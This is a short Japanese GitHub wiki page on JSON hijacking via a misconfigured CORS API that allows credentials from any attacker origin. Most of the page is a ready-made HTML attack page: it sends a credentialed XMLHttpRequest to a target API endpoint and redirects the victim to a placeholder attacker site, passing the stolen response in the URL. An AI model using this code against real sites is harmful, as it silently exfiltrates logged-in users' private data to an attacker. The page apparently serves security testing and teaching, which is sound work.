JSONハイジャック 00 - yujitounai/helloworld GitHub Wiki

JSONハイジャック/JSON Hijack

今できることは Cookieでセッション管理してる

Access-Control-Allow-Credential:true Access-Control-Allow-Origin:攻撃サイト

ヘッダが返るようなクソAPIがあると 被害者が罠ページにアクセスすることでデータが攻撃者の元に送られる

攻撃コード (fetchで書き換えたい)

<html>
<body>
<script>
 var target = 'https://site/btc/api/supplier-of-company?companyId=11906190002';
 var method = 'GET';
 var req = new XMLHttpRequest();
 req.onload = reqListener;
 req.open(method, target, true);
 req.withCredentials = true;
 req.send();

function reqListener(){
 location = '//(攻撃者が用意した罠サイト)/stealinfo?info=' + this.responseText;
}
</script>
</body>
</html>

⚠️ **GitHub.com Fallback** ⚠️